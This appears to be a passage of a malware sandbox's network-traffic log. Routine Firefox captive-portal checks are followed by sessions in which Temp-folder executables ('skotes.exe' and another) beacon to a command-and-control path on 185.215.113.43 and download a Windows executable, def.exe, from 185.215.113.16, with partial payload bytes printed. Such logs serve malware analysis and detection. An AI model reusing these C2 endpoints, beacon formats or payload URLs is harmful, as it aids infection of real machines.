Nov 24, 2024 02:16:01.226633072 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66484 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:01.263545990 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:01.587110043 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66484 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:02.371356010 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:02.695300102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66485 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:06.215235949 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:06.539203882 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66489 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:16.576781034 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:16:17.551542044 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:17.875735998 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66500 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:19.610666990 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:19.934966087 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66502 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:26.744261026 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:27.068469048 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66509 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:28.044552088 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:28.368570089 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66511 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:29.278776884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:29.603516102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66512 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:29.699055910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:30.023329973 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66512 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:38.793446064 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:39.117511988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66521 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:49.282872915 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:16:53.874444962 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:54.199024916 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66537 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:57.700954914 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:58.027904034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66540 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:17:08.154030085 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:18.379462957 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:20.218997955 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:17:20.546107054 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66563 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:17:30.565958977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:40.786535025 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:50.927028894 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:01.180232048 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:11.340857983 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:21.481504917 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:41.884063959 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:18:42.209115028 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66645 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:18:59.278028011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:18:59.604228973 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66662 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50127	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:00.475178003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:01.861427069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50138	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:03.494837999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50140	185.215.113.16	80	1148	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:03.625315905 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 02:16:04.969064951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:04 GMT Content-Type: application/octet-stream Content-Length: 2832384 Last-Modified: Sun, 24 Nov 2024 00:56:48 GMT Connection: keep-alive ETag: "674279d0-2b3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@rqwfzwob**:@llcfprjm ++@.taggant@+"+@
Nov 24, 2024 02:16:04.969129086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969165087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969218016 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969250917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969302893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969352961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969388008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:16:04.969419956 CET	1236	IN	Data Raw: 38 82 54 5f 71 df 33 e5 2e fd c9 5c 21 f0 6c 34 66 df 30 c5 ce 0c a3 e4 2e fd c9 ce 1f f4 6c e4 61 df 56 63 3f b0 ed 6c 10 34 4e fc 01 05 cf 82 20 f8 b7 e5 be df e6 6c 0c ce 50 b5 c6 f1 03 b2 29 9a 4a 64 81 09 cb 3c 41 16 55 3a 60 fa ed e8 8f dc Data Ascii: 8T_q3.\!l4f0.laVc?l4N lP)Jd<AU:`O`];4fH,ZaobNu2`fqq`^SlKLUpM-CNi0%i>@)hEx2u6Vb0IV5z]g&N#R%a&+}LdT/(-2Yt[k,O
Nov 24, 2024 02:16:04.969456911 CET	1236	IN	Data Raw: f7 f2 36 80 1c 04 98 6d b8 24 58 96 97 25 d2 40 c8 2e 82 76 b0 9e 7c b0 76 2d 59 55 39 bc 89 06 28 d2 3e f5 2c 4a 94 0e 31 60 1a 95 4a 51 71 b7 bf 7e 8b 2b 67 81 72 b5 7f dd df 9d 39 26 e0 1a 7e d5 45 ab 39 69 80 f1 dd 20 62 32 57 60 8b 63 6d d5 Data Ascii: 6m$X%@.v\|v-YU9(>,J1`JQq~+gr9&~E9i b2W`cm,E2dz\|1E:hSJ/Gz+2"RZ7Zsej:[)Zo>;PFT;=$-f:>/h+w'I?+6B/Sh_UE
Nov 24, 2024 02:16:05.094878912 CET	1236	IN	Data Raw: 6f 66 5f fb b1 06 05 93 75 46 65 80 64 e6 a9 61 50 95 f7 c6 5f e2 af 7d 72 4f 68 f5 7d 26 6e c5 35 4d 98 6e 93 2a 1d 22 49 33 7c 8a 66 9f c9 20 74 fc b4 44 8a 39 97 2d 47 1a 89 2a b9 b7 dd 8b 51 a9 14 03 92 93 12 7e b1 6a 7f 43 71 3e e9 78 8b 2a Data Ascii: of_uFedaP_}rOh}&n5Mn"I3\|f tD9-GQ~jCq>x*p,~m=oG'CV?~dIq/7mNy:!f&_;NLmr+BZX.Igr^ib=9dOPMN'!9r)=j6.fXb;)CdS3jti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50153	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:05.271151066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
